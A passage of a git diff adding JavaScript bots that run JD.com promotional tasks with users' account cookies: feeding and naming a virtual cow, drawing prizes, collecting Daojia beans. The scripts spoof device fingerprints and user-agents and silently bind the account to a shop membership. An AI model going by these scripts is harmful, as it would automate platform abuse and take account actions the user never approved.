'【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + for (let i = 0; i $.logErr(e)) + .finally(() => $.done()) +//获取活动信息 + + + +//genToken +function genToken() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=genToken&clientVersion=10.0.4&build=88641&client=android&d_brand=OPPO&d_model=PCAM00&osVersion=10&screen=2208*1080&partner=oppo&oaid=&openudid=7049442d7e415232&eid=eidAfb0d81231cs3I4yd3GgLRjqcx9qFEcJEmyOMn1BwD8wvLt/pM7ENipVIQXuRiDyQ0FYw2aud9+AhtGqo1Zhp0TsLEgoKZvAWkaXhApgim9hlEyRB&sdkVersion=29&lang=zh_CN&uuid=7049442d7e415232&aid=7049442d7e415232&area=4_48201_54794_0&networkType=wifi&wifiBssid=774de7601b5cddf9aad1ae30f3a3dfc0&uts=0f31TVRjBSsqndu4%2FjgUPz6uymy50MQJ3DxdOrbYUybTe3dL1fv5SZqA7LxGNRtzSOx8fh0f3M1MbIvt421AKNKOpCPfGQrrVUodx%2Fkyzv10ruE8Nej2sOUKwb8tCv2kUQ1xlvckMf%2F%2BQlbGZpk3SF6y3AMv848PpSuaIzc4Wef2Q%2FEVdfQwC5mHEU9bM129HM13EJuyirzz6m2X3KkBMA%3D%3D&uemps=0-0&st=1626585864591&sign=b8c73932c27934ace61d09b492e47cd1&sv=101', + body: 'body=%7B%22action%22%3A%22to%22%2C%22to%22%3A%22https%253A%252F%252Flzdz-isv.isvjcloud.com%252Fdingzhi%252Fyili%252Fyangniu%252Factivity%252F5070687%253FactivityId%253Ddz2103100001340201%2526shareUuid%253Dbd93957c016242f6a51194d35449432c%2526adsource%253Dziying%2526shareuserid4minipg%253Du%252FcWHIy7%252Fx3Ij%252BHjfbnnePkaL5GGqMTUc8u%252Fotw2E%252Ba7Ak3lgFoFQlZmf45w8Jzw%2526shopid%253D1000013402%22%7D&', + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`); + console.log(`${JSON.stringify(err)}`) + } else { + data = JSON.parse(data); + $.isvToken = data['tokenKey'] + //console.log($.isvToken) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//获取pin需要用到 +function getToken2() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator&clientVersion=10.0.4&build=88641&client=android&d_brand=OPPO&d_model=PCAM00&osVersion=10&screen=2208*1080&partner=oppo&oaid=&openudid=7049442d7e415232&eid=eidAfb0d81231cs3I4yd3GgLRjqcx9qFEcJEmyOMn1BwD8wvLt/pM7ENipVIQXuRiDyQ0FYw2aud9+AhtGqo1Zhp0TsLEgoKZvAWkaXhApgim9hlEyRB&sdkVersion=29&lang=zh_CN&uuid=7049442d7e415232&aid=7049442d7e415232&area=4_48201_54794_0&networkType=wifi&wifiBssid=774de7601b5cddf9aad1ae30f3a3dfc0&uts=0f31TVRjBSsqndu4%2FjgUPz6uymy50MQJ3DxdOrbYUybTe3dL1fv5SZqA7LxGNRtzSOx8fh0f3M1MbIvt421AKNKOpCPfGQrrVUodx%2Fkyzv10ruE8Nej2sOUKwb8tCv2kUQ1xlvckMf%2F%2BQlbGZpk3SF6y3AMv848PpSuaIzc4Wef2Q%2FEVdfQwC5mHEU9bM129HM13EJuyirzz6m2X3KkBMA%3D%3D&uemps=0-0&st=1626585867093&sign=35d78547e97fda4666f0819866a13b19&sv=121', + body: 'body=%7B%22id%22%3A%22%22%2C%22url%22%3A%22https%3A%2F%2Flzdz-isv.isvjcloud.com%22%7D&', + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.token2 = data['token'] + //console.log($.token2) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + + + +//抄的书店的 不过不加好像也能进去 +function getActCk() { + return new Promise(resolve => { + $.get(taskUrl("/dingzhi/yili/yangniu/activity", `activityId=dz2103100001340201&shareUuid=bd93957c016242f6a51194d35449432c&adsource=ziying&shareuserid4minipg=u/cWHIy7/x3Ij+HjfbnnePkaL5GGqMTUc8u/otw2E+a7Ak3lgFoFQlZmf45w8Jzw&shopid=1000013402&lng=114.062541&lat=29.541254&sid=eec1865d9c44c1070f3b5e6718c9ee1w&un_area=4_48201_54794_0`), (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if ($.isNode()) + for (let ck of resp['headers']['set-cookie']) { + cookie = `${cookie}; ${ck.split(";")[0]};` + } + else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}; ${ck.split(";")[0]};` + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//获取我的pin +function getshopid() { + let config = taskPostUrl("/dz/common/getSimpleActInfoVo", "activityId=dz2103100001340201") + + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.result) { + $.shopid = data.data.venderId + //console.log($.shopid) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//获取我的pin +function getMyPin() { + let config = taskPostUrl("/customer/getMyPing", `userId=${$.shopid}&token=${encodeURIComponent($.token2)}&fromType=APP`) + // console.log(config) + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.data && data.data.secretPin) { + $.pin = data.data.secretPin + // console.log($.pin) + $.nickname = data.data.nickname + $.lz_jdpin_token = resp['headers']['set-cookie'].filter(row => row.indexOf("lz_jdpin_token") !== -1)[0] + // console.log(data) + console.log(`${$.nickname}`); + + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function adlog() { + let config = taskPostUrl("/common/accessLogWithAD", `venderId=1000013402&code=99&pin=${encodeURIComponent($.pin)}&activityId=dz2103100001340201&pageUrl=https%3A%2F%2Flzdz-isv.isvjcloud.com%2Fdingzhi%2Fyili%2Fyangniu%2Factivity%2F4827909%3FactivityId%3Ddz2103100001340201%26shareUuid%3Db44243656a694b6f94bb30a4a5f2a45d%26adsource%3Dziying%26shareuserid4minipg%3D5Iufa9rY657S3OP3PLSpK07oeVP9kq2pYSH90mYt4m3fwcJlClpxrfmVYaGKuquQkdK3rLBQpEQH9V4tdrrh0w%3D%3D%26shopid%3D1000013402%26lng%3D114.062604%26lat%3D29.541501%26sid%3D6e9bfee3838075a72533536815d8f3ew%26un_area%3D4_48201_54794_0&subType=app&adSource=ziying`) + // console.log(config) + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // data = JSON.parse(data); + if ($.isNode()) + for (let ck of resp['headers']['set-cookie']) { + cookie = `${cookie}; ${ck.split(";")[0]};` + } + else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}; ${ck.split(";")[0]};` + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function saveCow() { + return new Promise(resolve => { + + let body = `activityId=dz2103100001340201&actorUuid=${$.shareuuid}&shareUuid=${$.shareuuid}&cowNick=%E6%9F%A0%E6%AA%AC` + let config = taskPostUrl('/dingzhi/yili/yangniu/saveCow', body) + // console.log(config) + $.post(config, async (err, resp, data) => { + //$.log(data) + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.result == true) { + $.cowNick = data.data.cowNick + $.log("取名:"+$.cowNick) + } else if(data.result == false){ + + $.log(data.errorMessage) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 获得用户信息 +function getUserInfo() { + return new Promise(resolve => { + let body = `pin=${encodeURIComponent($.pin)}` + let config = taskPostUrl('/wxActionCommon/getUserInfo', body) + // console.log(config) + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.data) { + $.userId = data.data.id + $.pinImg = data.data.yunMidImageUrl + $.nick = data.data.nickname + } else { + $.cando = false + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getUid() { + return new Promise(resolve => { + let body = `activityId=dz2103100001340201&pin=${encodeURIComponent($.pin)}&pinImg=${$.pinImg }&nick=${encodeURIComponent($.nick)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareuuid}` + $.post(taskPostUrl('/dingzhi/yili/yangniu/activityContent', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.result) { + if(data.data.openCard == false){ + console.log("当前未开卡,无法助力和兑换奖励哦") + await join(100000000000168,1000013402) + + } + $.shareuuid = data.data.actorUuid + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}\n好友互助码】${$.shareuuid}\n`); + + + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function join(venderId,shopId) { + return new Promise(resolve => { +let joinurl ={ + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${venderId}","shopId":"${shopId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0}&client=H5&clientVersion=8.5.6&uuid=88888&jsonp=jsonp_1599410555929_50468`, + headers: { + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': 'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'Referer': `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${venderId}","shopId":"${shopId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0}&client=H5&clientVersion=8.5.6&uuid=88888&jsonp=jsonp_1599410555929_50468`, + 'Cookie': cookie1, + } + } + + $.get(joinurl, async (err, resp, data) => { + try { + + data = data.match(/(\{().+\})/)[1] + data = JSON.parse(data); + if(data.success == true){ + $.log(data.message) + }else if(data.success == false){ + $.log(data.message) + } + + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function feedCow() { + + let config = taskPostUrl("/dingzhi/yili/yangniu/feedCow", `activityId=dz2103100001340201&actorUuid=${$.shareuuid}&pin=${encodeURIComponent($.pin)}`) + // console.log(config) + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.result) { + if (data.data) { + $.cs = data.data.score2*0.1 + $.cj = data.data.assistCount + $.log($.cj) + console.log(`老牛等级:${data.data.level}\n下一等级还需吃奶:${data.data.score*0.1}\n剩余奶滴:${data.data.score2*0.1}`) + } + } else { + console.log(data.errorMessage) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) + +} + + +function dotask(taskType, taskValue) { + + let config = taskPostUrl("/dingzhi/yili/yangniu/saveTask", `activityId=dz2103100001340201&actorUuid=${$.shareuuid}&pin=${encodeURIComponent($.pin)}&taskType=${taskType}&taskValue=${taskValue}`) + // console.log(config) + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.result) { + if (data.data) { + console.log("恭喜你,获得奶滴: " + data.data.milkCount ) + } + } else { + console.log(data.errorMessage) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) + +} + +function draw() { + + let config = taskPostUrl("/dingzhi/yili/yangniu/start", `activityId=dz2103100001340201&pin=${encodeURIComponent($.pin)}&actorUuid=${$.shareuuid}`) + // console.log(config) + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.result) { + if (Object.keys(data.data).length == 0) { + console.log("抽奖成功,恭喜你抽了个寂寞: ") + } else { + console.log(`恭喜你抽中 ${data.data.name}`) + $.drawresult += `恭喜你抽中 ${data.data.name} ` + } + } else { + console.log(data.errorMessage) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function taskUrl(url, body) { + const time = Date.now(); + // console.log(cookie) + return { + url: `https://lzdz-isv.isvjcloud.com${url}?${body}`, + headers: { + 'Host': 'lzdz-isv.isvjcloud.com', + 'Accept': 'application/json', + // 'X-Requested-With': 'XMLHttpRequest', + 'Referer': 'https://lzdz-isv.isvjcloud.com/dingzhi/yili/yangniu/activity/4827909?activityId=dz2103100001340201&shareUuid=b44243656a694b6f94bb30a4a5f2a45d&adsource=ziying&shareuserid4minipg=5Iufa9rY657S3OP3PLSpK07oeVP9kq2pYSH90mYt4m3fwcJlClpxrfmVYaGKuquQkdK3rLBQpEQH9V4tdrrh0w==&shopid=1000013402&lng=114.062604&lat=29.541501&sid=6e9bfee3838075a72533536815d8f3ew&un_area=4_48201_54794_0', + 'user-agent': 'jdapp;android;10.0.4;11;2393039353533623-7383235613364343;network/wifi;model/Redmi K30;addressid/138549750;aid/290955c2782e1c44;oaid/b30cf82cacfa8972;osVer/30;appBuild/88641;partner/xiaomi001;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 11; Redmi K30 Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045537 Mobile Safari/537.36', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': `${cookie} IsvToken=${$.IsvToken};AUTH_C_USER=${$.pin}`, + } + } +} + + + +function taskPostUrl(url, body) { + return { + url: `https://lzdz-isv.isvjcloud.com${url}`, + body: body, + headers: { + 'Host': 'lzdz-isv.isvjcloud.com', + 'Accept': 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + + + 'Referer': 'https://lzdz-isv.isvjcloud.com/dingzhi/yili/yangniu/activity/4827909?activityId=dz2103100001340201&shareUuid=b44243656a694b6f94bb30a4a5f2a45d&adsource=ziying&shareuserid4minipg=5Iufa9rY657S3OP3PLSpK07oeVP9kq2pYSH90mYt4m3fwcJlClpxrfmVYaGKuquQkdK3rLBQpEQH9V4tdrrh0w==&shopid=1000013402&lng=114.062604&lat=29.541501&sid=6e9bfee3838075a72533536815d8f3ew&un_area=4_48201_54794_0', + 'user-agent': 'jdapp;android;10.0.4;11;2393039353533623-7383235613364343;network/wifi;model/Redmi K30;addressid/138549750;aid/290955c2782e1c44;oaid/b30cf82cacfa8972;osVer/30;appBuild/88641;partner/xiaomi001;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 11; Redmi K30 Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045537 Mobile Safari/537.36', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': `${cookie} IsvToken=${$.IsvToken};AUTH_C_USER=${$.pin};${$.lz_jdpin_token}`, + } + } +} + + + + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`??${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============??系统通知??=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`??${this.name}, 错误!`,t.stack):this.log("",`??${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`??${this.name}, 结束! ?? ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jddjCookie.js b/jddjCookie.js new file mode 100644 index 0000000..5eea96d --- /dev/null +++ b/jddjCookie.js @@ -0,0 +1,36 @@ +/* +此文件为Node.js专用。其他用户请忽略 + */ +//此处填写京东账号cookie。 +let CookieJDs = [ + + '' + +] +// 判断环境变量里面是否有京东到家ck +if (process.env.JDDJ_COOKIE) { + if (process.env.JDDJ_COOKIE.indexOf('&') > -1) { + console.log(`您的cookie选择的是用&隔开\n`) + CookieJDs = process.env.JDDJ_COOKIE.split('&'); + } else if (process.env.JDDJ_COOKIE.indexOf('\n') > -1) { + console.log(`您的cookie选择的是用换行隔开\n`) + CookieJDs = process.env.JDDJ_COOKIE.split('\n'); + } else { + CookieJDs = [process.env.JDDJ_COOKIE]; + } +} +if (JSON.stringify(process.env).indexOf('GITHUB') > -1) { + console.log(`请勿使用github action运行此脚本,无论你是从你自己的私库还是其他哪里拉取的源代码,都会导致我被封号\n`); + !(async () => { + await require('./sendNotify').sendNotify('提醒', `请勿使用github action、滥用github资源会封我仓库以及账号`) + await process.exit(0); + })() +} +CookieJDs = [...new Set(CookieJDs.filter(item => item !== "" && item !== null && item !== undefined))] +console.log(`\n====================共有${CookieJDs.length}个京东账号Cookie=========\n`); +console.log(`==================脚本执行- 北京时间(UTC+8):${new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000).toLocaleString()}=====================\n`) +for (let i = 0; i < CookieJDs.length; i++) { + const index = (i + 1 === 1) ? '' : (i + 1); + exports['CookieJD' + index] = CookieJDs[i].trim(); +} +//exports['CookieJDs'] = CookieJDs; diff --git a/jddj_bean.js b/jddj_bean.js new file mode 100644 index 0000000..d2578ed --- /dev/null +++ b/jddj_bean.js @@ -0,0 +1,248 @@ +/* +京东到家鲜豆任务脚本,支持qx,loon,shadowrocket,surge,nodejs +兼容京东jdCookie.js +手机设备在boxjs里填写cookie +boxjs订阅地址:https://gitee.com/passerby-b/javascript/raw/master/JD/passerby-b.boxjs.json +TG群:https://t.me/passerbyb2021 + +[task_local] +10 0 * * * https://raw.githubusercontent.com/passerby-b/JDDJ/main/jddj_bean.js + +[Script] +cron "10 0 * * *" script-path=https://raw.githubusercontent.com/passerby-b/JDDJ/main/jddj_bean.js,tag=京东到家鲜豆任务 + +*/ + +const $ = new API("jddj_bean"); +let ckPath = './jdCookie.js';//ck路径,环境变量:JDDJ_CKPATH +let cookies = []; +let thiscookie = '', deviceid = ''; +!(async () => { + if (cookies.length == 0) { + if ($.env.isNode) { + if (process.env.JDDJ_CKPATH) ckPath = process.env.JDDJ_CKPATH; + delete require.cache[ckPath]; + let jdcookies = require(ckPath); + for (let key in jdcookies) if (!!jdcookies[key]) cookies.push(jdcookies[key]); + } + else { + let ckstr = $.read('#jddj_cookies'); + if (!!ckstr) { + if (ckstr.indexOf(',') < 0) { + cookies.push(ckstr); + } else { + cookies = ckstr.split(','); + } + } + } + } + if (cookies.length == 0) { + console.log(`\r\n请先填写cookie`); + return; + } + for (let i = 0; i < cookies.length; i++) { + console.log(`\r\n★★★★★开始执行第${i + 1}个账号,共${cookies.length}个账号★★★★★`); + thiscookie = cookies[i]; + if (!thiscookie.trim()) continue; + + thiscookie = await taskLoginUrl(thiscookie); + + await userinfo(); + await $.wait(1000); + + let tslist = await taskList(); + if (tslist.code == 1) { + $.notify('第' + (i + 1) + '个账号cookie过期', '请访问\nhttps://bean.m.jd.com/bean/signIndex.action\n抓取cookie', { url: 'https://bean.m.jd.com/bean/signIndex.action' }); + continue; + } + + await runTask(tslist); + + } + +})().catch((e) => { + console.log('', `❌失败! 原因: ${e}!`, ''); +}).finally(() => { + $.done(); +}) + +//个人信息 +async function userinfo() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&platCode=H5&appName=paidaojia&channel=&appVersion=8.7.6&jdDevice=&functionId=mine%2FgetUserAccountInfo&body=%7B%22refPageSource%22:%22%22,%22fromSource%22:2,%22pageSource%22:%22myinfo%22,%22ref%22:%22%22,%22ctp%22:%22myinfo%22%7D&jda=&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '', '') + + $.http.get(option).then(response => { + let data = JSON.parse(response.body); + if (data.code == 0) { + nickname = data.result.userInfo.userBaseInfo.nickName; + console.log("●●●" + nickname + "●●●"); + } + }) + resolve(); + + } catch (error) { + console.log('\n【个人信息】:' + error); + resolve(); + } + }) +} + +//任务列表 +async function taskList() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + 